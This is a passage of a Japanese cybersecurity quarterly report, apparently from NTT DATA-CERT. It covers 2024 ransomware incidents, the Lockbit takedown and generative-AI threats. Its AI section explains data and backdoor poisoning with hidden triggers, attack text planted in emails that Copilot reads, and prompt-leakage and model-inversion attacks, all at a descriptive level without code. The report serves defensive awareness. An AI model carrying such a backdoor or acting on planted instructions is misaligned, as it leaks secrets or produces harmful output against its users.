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1. エグゼグティブサマリー 

本レポートは、NTTDATA-CERTが期間中に収集したサイバーセキュリティ関連

情報に基づき、その四半期におけるグローバル動向を独自の観点で調査・分析し

たものです。 

 

ランサムウェア最新動向 

ランサムウェア攻撃の脅威は未だ健在であり、2024年度第1四半期の攻撃件数

や1件あたりの身代金支払い金額は、2023年度の同時期と比較して上昇傾向にあ

ります。 

各国の法執行機関が協力して、ランサムウェアグループのリークサイトをテイ

クダウンするなどの成果を上げている一方で、新たなグループが同様の攻撃を続

ける状況が続いています。法執行機関による対応だけではなく、官民の組織も自

身のサプライチェーンまで含めたランサムウェア対策を実施しなければ、ランサ

ムウェア攻撃の脅威は終息しないでしょう。 

生成AIのセキュリティ脅威とリスク 

生成AIの普及は、サイバー攻撃の新たな脅威を生み出し、既存のセキュリティ

リスクを悪化させるなど、サイバーセキュリティに深刻な課題を引き起こしてい

ます。実際に、生成AIを悪用したコンテンツ作成、生成AIを悪用した既存のサイ

バー攻撃の効率向上、悪意のあるプロンプト入力を用いた生成AIシステムに対す

るサイバー攻撃などが確認されています。 

生成AIのセキュリティに関する知識とスキルを備えた人材を育成して、生成AI

への入力内容を事前にチェックしてブロックしたり、AIモデルの挙動を常時監視

して異常な動作やセキュリティ侵害を早期に検知できるようにしたりして、組織

全体で生成AIのセキュリティ対策の導入を進めましょう。 

生成AIのサイバー攻撃への悪用と必要な対策 

生成AIが作成したと推測したマルウェア「Rhadamanthys」の事例を紹介しま

す。 

生成AIで自動作成したマルウェアを使ったサイバー攻撃が一般化するまでには、

まだ時間がかかると思います。しかし、マルウェア作成技術や亜種作成速度が向

上すれば、大きな脅威になりうると予測します。そのため、生成AIを用いた脅威

インテリジェンスの強化やAI駆動型EDRの導入、セキュリティ監視運用へ生成AI

を活用して、この脅威に対応していく必要があります。 

ゼロデイ脆弱性、一度の情報確認では不十分 

ゼロデイ脆弱性の発生は高止まり傾向です。202年4月多くの組織に影響を与え

た、PAN-OSの脆弱性「CVE-2024-3400」を取り上げ、NTTDATA-CERTが実施した

対応を解説します。 

組織のセキュリティ担当者やシステム管理者は、脆弱性情報を最初の一度確認

し、脆弱性対応を終了しただけで安心してはいけません。ゼロデイ脆弱性も普通

の脆弱性も、少なくとも１日１回以上、脆弱性情報の更新を確認することが必要

です。組織のセキュリティ担当者やシステム管理者は、情報更新に迅速に対応す

ることで、組織のセキュリティリスクを最小限に抑えることにつながります。 
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2. 注目トピック『ランサムウェ

ア最新動向』 

NTTデータ SL事業本部 セキュリティ＆ネットワーク事業部 浦邉 郁実 

 

2.1. 2024年度の第一四半期の概況 

ランサムウェア攻撃の脅威は未だ健在であり、2024年度第1四半期の攻撃件数

や1件あたりの身代金支払い金額は、2023年度の同時期と比較して上昇傾向にあ

ります [1]。日本国内でも、2024年度第1四半期にKADOKAWAや株式会社イセト

ーなど、さまざまな企業がランサムウェア攻撃の被害を報告しています。特にイ

セトー社の事例では、イセトー社に業務を委託していた数多くの企業や自治体に

関する情報が漏洩しました。その業務影響は、イセトー社の自社内だけにとどま

らず、委託元の企業や自治体の業務にまで及んでいます。このように未だに続く

ランサムウェア攻撃の脅威に対して、各国の法執行機関は、代表的なランサムウ

ェアグループであるLockbitのリークサイトをテイクダウンするなどの活動を行っ

ており、限定的ですが、ランサムウェア被害の防止にある一定の効果が出ていま

す [2]。 

本稿では、イセトー社の被害事例と法執行機関が行ったLockbitのテイクダウン作

戦「Operation CRONOS」の概要やその影響を解説します。 

 

 

2.2. イセトー社のランサムウェア被害から

学ぶこと 

冒頭で述べたように2024年度第1四半期も、ランサムウェア攻撃の被害がいく

つも報告されています。表2-1の3件の中で、情報漏洩の件数が最も多いランサム

ウェア攻撃は、イセトー社の事例です。情報処理サービスなどを手掛けるイセト

ー社ですが、どうしてここまで多くの情報が漏洩してしまったのでしょうか。そ

の原因を解説して、同様の被害を防止するための対策を説明します。 

表2-1：2024年度第1四半期に発生・報告されたランサムウェア攻撃 

公開日 組織 概要 

5/19 [3] 岡山県精神科 

医療センター 

ランサムウェアにより、電子カルテを含む総合情報

システムに障害が発生。翌日にシステム内に脅迫

メッセージと連絡先メールアドレスの記載を確認。

氏名、住所、生年月日、病名を含む患者情報が最大

で4万件流出したおそれあり。ダークウェブ上でそ

の情報の一部の掲載を確認 

5/29 [4] イセトー ランサムウェが社内サーバやPCのファイルを暗号

化。イセトー社に業務を委託していた自治体や企

業の情報を含む個人情報が150万件流出したおそれ

あり。ランサムウェアグループのリークサイト上で

その一部を公開 
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6/8 [5] KADOKAWA 同社グループのニコニコを中心としたサービスの

データセンター内のファイルサーバなどがランサ

ムウェア攻撃を受けた。ニコニコ動画やN予備校な

ど数多くのサービスが影響を受け、利用不可に陥

った。サービス利用者の氏名、住所、生年月日、電

話番号、口座番号などを含む個人情報25万件と取

引先との契約書等の企業情報が漏洩した 

2.3. 被害概要 

上記の表2-1に記載した通り、2024年5月26日にイセトー社内の複数のサーバ

とPCがランサムウェアに感染して、ファイルが暗号化される被害が発生しました。 

 攻撃手法 

詳しいランサムウェアの種類や感染の原因は、現時点では公表されていませ

ん。しかし、ランサムウェアグループ「8base」が自身のリークサイトにて、イ

セトー社に対する攻撃声明と窃取したファイルの公開を行っており、8baseによ

る攻撃であることが明らかになっています [6, 7]。 

 被害 

イセトー社の事業活動への影響が生じていますが、その影響は自社だけにとど

まっていません。イセトー社は、顧客の情報処理業務の請負サービスに加えて、

自治体から納税通知書等の印刷業務委託も請け負っています。イセトー社が管理

を受託していた自治体の住民票や企業の顧客リストが流出してしまったため、自

治体にも漏洩した情報の対応が発生しています。このようにイセトー社に業務を

委託していた数多くの企業や自治体の業務にも影響が広がっています。 

現時点で報告されている情報漏洩の主な被害は、表 2-2に示した通りです。記

載した組織以外にも、数多くの委託元組織が影響を受けたおそれがあることを公

表しています。 

表 2-2：イセトー社のランサムウェア攻撃による情報漏洩 

組織 情報 件数 

愛知県豊田市 [8] 約103.5万件 固定資産税等の納税通知書など 

徳島県 [7] 約20万件 自動車税の納税者情報など 

和歌山市 [9] 約15万件 住民税の納税者情報など 

公文教育研究会 [10] 約73万件 会員や指導者に関する個人情報など 

クボタクレジット [11] 約6万件 利用明細等の顧客情報 

 

2.3.1. サプライチェーンリスク 

今回の事例で特徴的な点は、非常に多くの組織がイセトー社へ業務を委託し

ており、その多くの組織に関係する個人情報が大量に漏洩してしまった点で

す。同じように委託先組織がランサムウェアに感染して大量の個人情報が漏洩

してしまった事例は、2024年6月の髙野総合会計事務所の事例があります。髙

野総合会計事務所に税務代理業務等を委託していた企業の個人情報が漏洩しま

した [12]。 

委託先組織がランサムウェア感染した時に委託元組織に発生する影響は、ま
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ず委託していた業務の停止と委託先組織へ預けていた自組織が管理する機密情

報や個人情報の漏洩です。次に関係する周辺業務への影響、業務停止や個人情

報漏洩に伴う顧客の信頼の低下です。これらに加えて、個人情報が漏洩した顧

客からの問い合わせ対応や再発防止策の導入、別の委託先を探すコストも発生

してしまいます。委託先組織は、ランサムウェア攻撃の影響が委託元組織にま

で影響が及んでしまうと、委託元組織の信頼を損ない、契約の解消や最悪の場

合は損害賠償を請求されてしまいます。 

委託先組織からの情報漏洩のリスクが高まっている背景には、ランサムウェ

アの攻撃手法の多様化も関係しています。現在のランサムウェア攻撃のほとん

どは、ランサムウェアによる暗号化と窃取した情報の公表の2段構えで脅迫する

 「重重脅迫」が基本です。実際に2024年上半期は、リークサイトへの窃取した

情報の投稿が前年同期比で23%増加しました [13]。つまり、これまで以上にラ

ンサムウェア攻撃で漏洩した情報が公表されてしまうおそれが高まっていま

す。加えて、重重脅迫型のランサムウェアに感染する組織が増えているため、

結果的にイセトー社や髙野総合会計事務所のような多くの顧客先情報を抱える

企業から委託元組織の情報が漏洩してしまう事例が多く発生しています。 

過去の四半期レポートでの解説より、サプライチェーン攻撃の手法は「①委

託先組織を踏み台にした攻撃」「②ソフトウェアサプライチェーン」「③委託先

組織からの情報窃取」の3つに分類されます [14]。今回の事例は、ランサムウ

ェアグループ8baseがある委託元組織を狙っており、その踏み台でイセトー社を

攻撃した①のパターンなのか、8baseが攻撃していた組織の中にたまたまイセト

ー社があった③のパターンなのか、不明です。いずれにしても、セキュリティ

対策している委託元組織のシステムよりも、委託先組織のシステムの方が、セ

キュリティ対策が不十分で、ランサムウェア攻撃で被害が起きやすいと推測し

ます。 

2.3.2. 教訓 

こうした委託先組織からの情報漏洩を防ぐには、委託元組織はどのような対応

をしておけばよかったのでしょうか。サプライチェーンにおける委託先組織から

の情報漏洩リスクの管理が難しい理由は、委託元組織が委託先組織の個人情報の

管理状況を完全に把握できないためです。実際にイセトー社は、委託業務が終了

したにも関わらず該当のデータを削除し忘れており、今回の150万件以上の個人

情報漏洩に繋がってしまいました。こうした情報漏洩リスクを軽減するための理

想的な方法は、委託元組織が委託先組織のデータの管理状況を監視したり、コン

トロールしたりできる仕組みを構築することです [15]。例えば、技術的なセキュ

リティ対策を導入して、委託元組織が委託先組織の作業者のアクセス権限や作業

端末のデータの読み書きのログをチェックする、委託期間を過ぎた残存データを

削除するなど、規定した範囲・期間・用途でデータを取り扱うよう管理できます。

委託契約を行う際に、委託先組織へ、このセキュリティ対策の構築を相談しても

よいのではないでしょうか。 

また大前提として、イセトー社のような委託先組織は、自社のシステムに弱点

がないようにセキュリティ対策を行う必要があります。そして、委託元組織はそ

れを確認します。しかし、委託元組織が委託先組織のシステムのセキュリティ対

策を個別に確認して安全性を判断することは、時間やコストが掛かり現実的では

ありません。一般的には、委託元組織は委託契約の中に適切にセキュリティ対策

することを定めて委託先組織の安全性を担保します。委託元組織とイセトー社の

委託契約では、外部からアクセスできない業務系のネットワーク上のサーバへ個

人情報を保存する契約になっていました [15]。しかし、実際にはこれが守られて

おらず、今回被害にあった社内の基幹系サーバ上に個人情報が保存されていまし

た。また契約には、委託期間終了後に個人情報を消去する条項も含んでいました。 

そして、適切なセキュリティ対策とリスク管理の実施状況は、プライバシーマ

ークやISO27001認証などの公的な認証の取得有無も判断基準になります。イセト
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ー社は、上記の2つの公的認証やISO27017認証を取得していました [16] [17]。イ

セトー社のセキュリティ対策や運用管理に課題があったことはもちろんですが、

これらの認証制度では、実際のセキュリティ対策状況や対応体制を十分に確認で

きなかったことが課題です。 

契約や公的認証制度でも把握できないセキュリティ運用の実情を評価する方法の

一つは、脅威ベースのペネトレーションテスト「Threat-Led Penetration Testing

 以以下、TLPT）」です。TLPTは、攻撃者の視点でシナリオを作成して、情報窃取の

可否も含めて、総合的に対応能力を評価します。個人情報の実際の管理状況も調

査できます。ただし、TLPTの結果は、組織の脆弱な箇所やインシデント対応力の

問題点も示しているため、委託元組織へTLPTの結果を公開できることが条件です。

委託元企業にTLPTの結果を報告すれば、実際に委託先組織がサイバー攻撃を受け

て被害が発生したときに近い状況での対応能力を証拠として示すことができます。 

 

2.4. Lockbitテイクダウン作戦「Operation 

Cronos」 

前述のイセトー社を攻撃した 「8base」や2024年度第1四半期で最も話題に上が

っていたKADOKAWAを攻撃した「Blacksuits」など、現在も多くのランサムウェ

アグループが活動しています。2024年度第1四半期だけでも、ランサムウェアに

感染した1200以上の組織の機密情報がランサムウェアグループのリークサイトで

掲載されてしまっています [18]。それらのグループの中でもリークサイトへの掲

載数が最も多いランサムウェアグループが「Lockbit」でした。Lockbitは、これま

でにも数々の重要インフラを停止に追い込むなど、最も多くの被害が発生してい

るグループの一つです。2023年の全暴露情報の25%が彼らの手によるものだとい

われています [19] [20]。そのような背景もあり、各国の法執行機関が協力して2022

年からLockbitの共同捜査を行っています。2024年2月には「Operation Cronos」

と呼ばれる作戦を実行して、Lockbitのリークサイトのサーバを掌握して、テイク

ダウンするなどの成果を上げています。2.3章では、Operation Cronosの概要と

Lockbitの活動への効果、このようなランサムウェアグループのテイクダウン作戦

の長期的な効果を説明します。 

2.4.1. 作戦概要 

フランス、ドイツ、オランダ、スウェーデン、オーストラリア、カナダ、イギ

リス、アメリカ、スイス、日本の法執行機関が協力して、Lockbitを壊滅するため

にOperation Cronosを行いました。 

2022年4月にフランスからの要請により、まず欧州司法機構「Eurojust」で審理

を行い、共同捜査を開始しました。その後、捜査の最終段階に向けて運営会議や

技術スプリントを開催し、捜査の方向性を調整しました。そして、数か月におよ

ぶ作戦の結果、2024年2月19日グリニッジ標準時の午後9時ごろ、Lockbitのリー

クサイトに法執行機関による差し押さえのバナーが表示され、翌日にはEUROPOL

などの複数の法執行機関が本作戦の成功を公表しました。 

 

図 2-1：リークサイトに表示された法執行機関告知ページ [21] 
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以下は、この一連の作戦で公表した成果です。 

 プラットフォーム・インフラのテイクダウン 

英国国家犯罪庁「NCA」は、リークサイトなどのLockbitの主要なインフラを制

御下にすることができました。これにより、オランダ、ドイツ、フィンランド、

フランス、スイス、オーストラリア、イギリス、アメリカの8か国に存在してい

た合計34台のサーバをテイクダウンできました。また、Lockbitがデータ窃取に使

っていたアフィリエイト用のカスタムツール「Stealbit」のインフラも停止したと

公表しています。そして、これらのテイクダウンと供に、Lockbitのプラットフォ

ームのソースコードや被害組織に関する膨大な情報を入手しました。被害組織に

関する情報の中には、すでに身代金を払っていた組織の情報も含まれていました。

これにより、Lockbitなどのランサムウェアグループは、身代金を支払っても、窃

取した情報を削除しない、という事実が明確になりました。 

筆者は、NCAが脆弱性「CVE-2023-3284」を使用してPHP経由でLockbitのサー

バを侵害して、最終的にLockbitのインフラを掌握した、と推測しています [19] 

[22]。Lockbitは標的の脆弱性を探し出してランサムウェア攻撃を仕掛ける側です

が、今回は自身のシステムの脆弱性を放置していたため、そこからNCAに自身の

リークサイトやサーバを乗っ取られてしまいました。 

 関係者の逮捕・起訴 

本作戦では、Lockbitのオペレーターとされる容疑者2人がポーランドとウクラ

イナで逮捕されました。また、上記に加えてフランスと米国の司法機関は、3件

の国際逮捕状および5件の起訴状を発行しました。 

また、法執行機関は、Lockbitの活動に関与した14,000を超える不正なアカウン

トを特定して、削除勧告しています。 

 暗号資産の差し押さえ 

本作戦では、200以上の暗号資産のアカウントや口座を凍結しました。また、

Lockbitが身代金の受け渡し等に使用していたとみられる約3万の暗号資産のアド

レスを入手しました。これらの3万のアドレスのうち、500を超える暗号資産のア

ドレスが有効な状態であり、2022年7月から2024年2月の間にLockbit は1億2500

万ドル以上を受け取っていました。捜査時は、約1億1000万ドルが未使用のまま

でした。現時点では、押収した口座に保管されている仮想通貨の金額は不明です

が、身代金を支払った被害者が、その一部を取り戻せる可能性はゼロではありま

せん。 

 復号キー・ツールの提供 

本作戦では、被害組織向けのLockbit関連の復号ツールをNoMoreRansomで公

開しています。1つはLockbitのサーバから回収した1000個以上の復号キーを用い

て開発した復号ツールです。もう1つは日本の警視庁などが開発した復号ツール

です。この警視庁の復号ツールは、Lockbitをリバースエンジニアリングして、数

か月以上の期間を費やして開発しました。 

2.4.2. テイクダウン後の状況 

各国の法執行機関の協力によって、上記のような成果を得られました。作戦終

了後の3週間は、Lockbitの検出数が限りなく少なくなりました [23]。 

しかし、2024年2月24日にLockbitのリーダーとみられる人物が、別のリークサ

イトを公開しました。このサイトでは、過去の被害組織の情報だけでなく、新し

い被害組織の情報も公開しています。他にも、活動の再開宣言やFBIへの報復宣言

とみられるメッセージを掲載しれています。このように、Operation Cronosで多

くの成果をあげましたが、Lockbitを完全に解体するまでには至っていません。 
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2.4.3. ランサムウェア攻撃の脅威は終息するのか 

Operation Cronosのような各国の法執行機関が連携した作戦によって、ランサ

ムウェア攻撃の脅威は終息していくのでしょうか。Operation Cronosでは、Lockbit

のリークサイトのテイクダウンやLockbit向けの復号ツールの開発など、ランサム

ウェアグループに対して一定の成果をあげて、一時的に攻撃を沈静化することが

できました。また、今回の作戦により、サイバー犯罪コミュニティにおけるLockbit

の信頼が低下して、Lockbitの活動が減少していく可能性もあります。 

しかし、テイクダウン作戦だけでは、まだランサムウェア攻撃の脅威が終息し

ていくことはないと言えるでしょう。Lockbitの他にもBlackSuitsやRansomeHub

などの新しいグループの活動が拡大していることや、ランサムウェアグループか

ら独立して活動している一匹狼によるランサムウェア攻撃が増加していることか

ら、ランサムウェア攻撃の回数は減少傾向にありません [24, 18]。また、特定の

ランサムウェアグループの活動が鈍化して、その組織の脅威が低くなったとして

も、その組織が開発したランサムウェアは、他のランサムウェアグループが活用

し続けます。実際に、ランサムウェアグループ「Brain Cipher」は、2022年9月に

Lockbitに不満を抱いた開発者が漏洩したLockbit3.0へわずかに暗号化機能の変更

を加えて、2024年6月にランサムウェア攻撃へ活用しました [18]。 

ランサムウェアグループは、法執行機関の作戦に柔軟に対応するように恐喝方

法や活動内容を変える場合もあるでしょう。例えば、NoMoreRansomなど、被害

者向けに復号ツールを公開する活動が増えてきたため、ノーウェアランサムと呼

ばれる暗号化しないランサムウェア攻撃が出てきました [25]。 

上記の理由から、Operation Cronosを含めた各国のテイクダウン活動だけでラ

ンサムウェア攻撃の脅威そのものを払拭することは、難しいといえるでしょう。 

2.5. まとめ 

本記事では、2024年度第1四半期のランサムウェア動向とランサムウェア攻撃

によるサプライチェーンリスク、Lockbitのテイクダウンを紹介しました。ランサ

ムウェア攻撃の影響は自社内に留まらず、サプライチェーンへも拡大して、その

被害が甚大になってしまいます。そのため、サプライチェーンからの情報漏洩リ

スクを低減するためには、技術的対策によりデータの漏洩が起こらないセキュア

な仕組みを構築すること、継続的にデータの管理状況を監視することが必要です。 

Lockbitのテイクダウンでは、リークサイトの差し押さえや復号ツールの開発な

どの成果を獲得できましたが、Lockbitは活動を再開しており、その他のランサム

ウェアグループも活発に活動しています。ランサムウェア攻撃の脅威は引き続き

高いままなので、法執行機関だけでなく、官民の組織もサプライチェーンまで連

携してランサムウェア対策を本気で行わなければ、ランサムウェア攻撃の脅威は

終息しないでしょう。 
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3. 注目トピック『生成AIのセ

キュリティ脅威とリスク』 

NTTデータ TC事業本部 テクノロジーコンサルティング事業部 銭 琳 

 

人工知能以AI）技術は絶えず進歩し、個人、企業、社会全体に多大な影響を及

ぼしています。特に生成AIの普及は、技術進歩の新時代を切り開き、さまざまな

分野に革新的なソリューションを提供している、例えば、スマートフォンの高度

化、自動車の自動運転機能などです。各種生成AIは、組織の効率性、生産性、収

益性を向上させ、産業運営に欠かせないものとなっています。マッキンゼー社の

調査によると、63件の生成AIを活用したビジネスのユースケースで年間2.6～4.4

兆ドル相当もの価値をもたらす可能性があります [26]。 

同時に生成AIの普及は、サイバー攻撃の新たな脅威を生み出して、既存のセキ

ュリティリスクを悪化させて、サイバーセキュリティに深刻な課題を引き起こし

ています。2024年5月27日、警視庁は、対話型生成AIを悪用してマルウェアを作

成した疑いで、川崎市の男性を逮捕しました。国内で生成AIを用いてマルウェア

を作成して逮捕された事件は、これが初めてです [27]。 

生成AIの普及により、サイバー攻撃や偽情報の作成などを強化できるため、サ

イバー攻撃の脅威が増加すると予想します。攻撃者は、生成AIを悪用してマルウ

ェア開発やサイバー攻撃を効率化しています。特に、生成AIの出現によってサイ

バー犯罪の参入障壁が下がり、パーソナライズされたフィッシングメールによる

サイバー攻撃が増加しています。そのため、企業も個人も、生成AIを悪用したサ

イバー攻撃に対する認識と予防意識を高める必要があります。 

本記事では、生成AIで強化されたサイバー攻撃と生成AIがもたらすリスク、生

成AIシステムを狙った攻撃に関する調査結果を説明します。 

 

3.1. 生成AIで強化されたサイバー攻撃 

セキュリティの専門家は、LLMを悪用してサイバー攻撃を支援するおそれがあ

ると予測しています [28]。生成AIは、サイバーセキュリティのさまざまな領域に

大きな影響を与えます。 

サイバー攻撃は、生成AIを悪用することにより急速に進化しています。例えば、

生成AIで通訳をすることで、異なる言語を使用する国内外の攻撃者がより効率的

にコミュニケーションできるようになりました。その結果、サイバー攻撃がより

迅速になりました。生成AIは、犯罪者相互の協力を可能にして、適応力と対応力

がアップしてサイバー攻撃を強化しました。 

攻撃者は、機械学習、生成AIなどをツールとして使用して、サイバー攻撃の侵

入経路の発見や侵害の速度を上げたり、サイバー攻撃の範囲を広げて影響を拡大

したり、攻撃手法の開発の効率を高めることができます。例えば、機械学習を使

ってWebアプリケーションの脆弱性を自動的に分析することができます。また攻

撃者は、大規模言語モデル以LLM）を悪用して、新型なマルウェアを生成するこ

とやシステムの潜在的な脆弱性をすばやく発見することができます。生成AIの使

用を通じて、サイバー犯罪の参加障壁を下げ、サイバー攻撃の効率、規模、影響

を高めることで、サイバー犯罪を強化します。 

LLMを使用するサイバー攻撃の詳細は、本グローバルセキュリティ動向四半期

レポートの第4章「生成AIのサイバー攻撃への悪用と求められる対策」で紹介し

ます。 
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3.2. 生成AIに関連するリスク 

3.2.1. 生成AIで作成した虚偽情報 

攻撃者は、生成AIを悪用して虚偽情報を生成しています。フィッシング詐欺や

ビジネスメール詐欺用の生成AIのWormGPT、FraudGPTは、2021年に出現しまし

た。これらの生成AIには、ChatGPTと同様の対話型のインターフェースがあり、

攻撃者はこの生成AIと対話しながら、巧妙なフィッシングメールやビジネス詐欺

メールを作成することができます。さらに生成AIを使用すれば、攻撃者は、自国

以外の言語や文化の虚偽情報も生成できます。つまり、詐欺対象の情報や外国語

能力がない攻撃者でも、自分の思いつきですぐに虚偽情報を生み出すことができ

ます。 

 生成 AI により、攻撃者は高度にパーソナライズした信憑性の高いフィ

ッシングメールを作成できます。攻撃者は生成 AI を悪用して、正当な通

信のスタイルと言語を模倣して個々のターゲットに合わせたメールを作

成します。生成 AI は、地元の方言、文化的なニュアンス、複雑な文法規

則を人間よりも迅速かつ効率的に考慮してメールを作成することもでき

ます。受信者が、このパーソナライズされたメールを本物のメッセージ

として信頼する確率が高くなるため、フィッシング攻撃が成功する確率

が大幅に高まります [29]。 

 攻撃者は、生成 AI 技術を悪用して、一般に「ディープフェイク」と呼

ばれる現実の画像や音声を加工して、あたかも本物のように見せかけた

音声および動画を作成します。さらに、今ではスマホで簡単に素人には

見分けがつかないディープフェイク動画を作成できます。ディープフェ

イク動画はソーシャルメディアで劇的に増加しており、ソーシャルメデ

ィア分析会社 Graphika 社は、生成 AI を使用して、同意のない性的画像

以NCII：non-consensual intimate imagery）を作成する NCII サービスの

宣伝スパムメールの量が 2,000％増加したと報告しています。なお、

Graphika 社が把握している NCII サービスのユーザ数は 2023 年 9 月時点

で 2,400 万人を超えました [30]。Graphika 社の調査によると、NII サー

ビスの成長の主な要因は、オープンソースの AI 画像拡散モデルの能力と

アクセス性の向上です。これにより、多くの犯罪者が簡単かつ安価にリ

アルなディープフェイクコンテンツを生成できるようになっています。

生成 AI 技術の急速な発展により、将来的には高度なディープフェイク動

画がより作成しやすくなるおそれがあります。これらの NCII サービスの

知名度が向上してアクセスしやすくなると、同意のない性的画像の作成

と配布、標的を絞った嫌がらせ、性的脅迫、児童性的虐待コンテンツの

生成などの犯罪が増加する懸念があります [31]。 

3.2.2. 生成AIの誤用によるビジネスリスク 

生成AI技術が急速に発展するにつれ、政府、企業、その他の組織は生成AIを導

入するようになっています。企業が活用している生成AIの分野には、ロボティッ

クプロセスオートメーション(39%)、コンピュータービジョン(34%)、自然言語テ

キスト理解(33%)、仮想エージェント(33%) などがあります [31]。具体的な使用

例は、販売およびマーケティング戦略策定、コンテンツの生成、ソフトウェアの

開発、サービス運用です。 

生成AIの使用による企業のリスクはゼロではないのです。マッキンゼー社のグ

ローバル調査によると、生成AIの普及に伴い、企業における新たなビジネスリス

クの増大は避けられません。生成AIの採用の具体的なリスクは、生成AIの不正確

さ、秘密情報の誤入力による情報漏洩などがあります [32]。 
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Samsung社の半導体部門の従業員が機密プログラムのソースコードをChatGPT

に入力して、内部情報漏洩を引き起こしました。Samsung社は、ChatGPTを使用

するときに、社内の情報セキュリティに注意を払うよう従業員に呼び掛けていま

した [33]。 

上記のインシデントは、生成AIの誤用を防ぐための規則が不足していることを

示唆しています。マッキンゼー社の調査よると、会社が職場でのAI技術の使用を

管理するポリシーを導入していると回答した人は、21%でした [32]。Apple社、

JP Morgan Chase社、Deutsche Bank社などの企業は、従業員がChatGPTなどの生

成AIを使用することを禁止または制限しています。生成AIの使用を正式に許可す

る企業が増えていますが、生成AI関連のセキュリティ規則の整備や周知が遅れて

いると推測します。生成AIの誤用を監視や制限できる技術的セキュリティ対策も

不足していると思います。 

3.3. 生成AIシステムに対する攻撃 

生成AIに対する攻撃手法は、回避、ポイズニング、プライバシー、悪用

の4種類です。回避攻撃は、入力データにわずかなノイズを加えたり、元のデー

タとは異なるが人間には区別がつかないようなデータを入力したりして、生成AI

を欺いて誤った判断をさせる攻撃です。悪用攻撃は、生成AIの能力を悪用して、

偽情報の拡散、スパムメールの生成、ディープフェイクの作成などを行います。

上記の3.1や3.2.1に該当します。以下では、生成AIのAIモデルを攻撃するプ

ライバシー攻撃とポイズニング攻撃を説明します。 

3.3.1. ポイズニング攻撃 

ポイズニング攻撃は、AIモデルの学習データへ意図的に不正確なデータや有害

なデータを混入して、AIモデルの性能や出力結果を操作する攻撃手法です。ポイ

ズニング攻撃によって、生成AIが不正確な予測や誤った判断を出力するため、生

成AIの信頼性が低下します。ポイズニング攻撃は非常に強力で、生成AIの可用性

または整合性のいずれかの問題を引き起こすおそれがあります。ポイズニング攻

撃の手法は、データポイズニング、モデルポイズニング、ラベル制御、ソースコ

ード制御、テストデータ制御などの種類があります。このセクションでは、敵対

的目的に応じて分類した可用性ポイズニング、標的型ポイズニング、バックドア

ポイズニング、モデルポイズニング攻撃の脅威を説明します。ポイズニング攻撃

の分類は、Cinaら [34]が開発したフレームワークに基づいています。次の4種類

のデータポイズニングの攻撃手法を紹介します [35] [36]。 

 

 可用性ポイズニング：AI モデルの利用を意図的に妨害し、サービスを停

止させたり、応答速度を遅くしたりする攻撃手法です。具体的には、AI

モデルに大量の無意味なリクエストを送りつけ、生成 AI システムを過負

荷にして応答不能にしたり、AI モデルに無限ループを引き起こすような

巧妙なプロンプトを与えたり、AI モデルが使用するメモリや CPU などの

リソースを大量に消費するような処理を実行させたりします。 

 標的型ポイズニング：AI モデルの学習データに意図的に悪意のあるデー

タを混入して、生成 AI の動作を意図的に歪ませる攻撃手法です。生成 AI

の場合、この攻撃によって、生成 AI が生成する文章や画像などに、特定

のバイアスや誤った情報を埋め込むことが可能になります。テキスト生

成 AI の場合は、特定の意見や思想を植え付けるような文章を大量に学習

させて、生成 AI が生成する文章にその意見が反映されるようにします。

画像生成 AI の場合は、特定の画像にノイズを加えたり、意図的に誤った
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ラベルを付けたりすることで、生成 AI が作成する画像に誤った特徴が現

れるようにします。 [37] 

 バックドアポイズニング：生成 AI に対するバックドアポイズニング攻

撃は、AI モデルに意図的に仕込まれた裏口のようなもので、トリガーと

呼ばれる特定の入力を AI モデルが受け取ると特定の出力を生成するよう

に仕向ける攻撃手法です。正規の学習データに、例えば、画像に特定の

ノイズを加える、テキストに特定の単語列を入れるなどの特定のトリガ

ーを含むデータを混ぜ込みます。このトリガーは、気づきにくいように

設計します。AI モデルは、機密情報や企業秘密を漏らすように強制され

たり、ヘイトスピーチや誤報などの有害なコンテンツを生成するおそれ

があります。 

 モデルポイズニング：生成 AI モデルを含む機械学習モデルのトレーニ

ングデータセットに、悪意のあるデータを意図的に注入する攻撃の一種

です。モデルポイズニングは、モデルの性能を低下させることを目的と

した攻撃の総称で、バックドアポイズニングやラベルポイズニング、特

徴ポイズニング、因果的ポイズニングなどを含みます。 

 

可用性ポイズニング攻撃は、AIモデルの全体の劣化を引き起こしますが、標的

型ポイズニング攻撃とバックドアポイズニング攻撃は、機械学習モデル内の少数

の標的サンプルの整合性違反を引き起こします。攻撃の影響を発見しにくいステ

ルス性が高い攻撃です。企業や組織はAIモデルを使用するときに、ゼロから作成

するのではなく、OpenAIなどの企業が提供している既存のモデルをベースとして

構築します。このような構築されたモデルは、外部からポイズニング攻撃で影響

が発生します。ある研究者グループは、Wikipediaの投稿を編集し、影響力のある

画像をアップロードして生成AIの傾向を操作し、直接アクセスせずにモデルの結

果を変更できることを発見しました。またCopilotは、デフォルトでさまざまな機

能で電子メール内の情報を取得します。そのため、被害者が悪意のある電子メー

ルを開かなくても、攻撃者が電子メールに攻撃コードを配置しておけば、Copilot

が電子メールを読み込んでポイズニング攻撃を受けるおそれがあります [38]。つ

まり、AIモデルに直接アクセスしなくても、AIモデルを汚染することができます 

[36]。 

3.3.2. プライバシー攻撃 

プライバシー攻撃は、AIモデルに含まれる個人情報や機密情報を推定する攻

撃です。AIモデルの学習に使用した個人情報や重要な機密情報が漏洩するおそれ

があります。以下は、主なプライバシー攻撃の方法です。 

 メンバーシップ推論攻撃：AI モデルの学習に使用した入力データを推論

する攻撃手法です。攻撃者は、AI モデルへ特定のデータを入力して、そ

の出力を分析して、その入力データが学習データの一部であったかどう

かを推論します。統計情報の計算や機械学習モデルの学習に使用される

データセットに特定のレコードが含まれているかどうかを推論できま

す。 

 モデルインバージョン攻撃以モデル再構築攻撃）：AI モデルのパラメー

タや出力結果から学習時の入力データをリバースエンジニアリングして

再構築する攻撃手法です。攻撃者は、最適化手法を使用して、AI モデル

の学習時に使用した元のデータを復元できます。 

 プロパティ推論攻撃：学習データに関する特定のプロパティや統計情報

を推論する攻撃手法です。攻撃者は、AI モデルのさまざまな入力に対す
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る動作を分析して、学習データ内の敏感な属性の分布に関する情報を推

論できます。これにより、人口統計学的情報やその他の機密パターンが

明らかになるおそれがあります。 

 プロンプト漏洩：生成 AI へ与える指示文「プロンプト」に含まれる機

密情報を抽出する攻撃手法です。攻撃者は、AI モデルの出力を分析し

て、プロンプトの内容を推論できます。 

 

3.4. まとめ 

生成AIの進歩は、さまざまな分野で革新的なソリューションを提供し、組織の

効率性、生産性、収益性の向上に寄与している一方で、サイバーセキュリティの

リスクや新たな脅威も増加させています。特に生成AIを悪用したコンテンツの作

成が容易になり、フィッシング攻撃やディープフェイク動画の拡散が増加してい

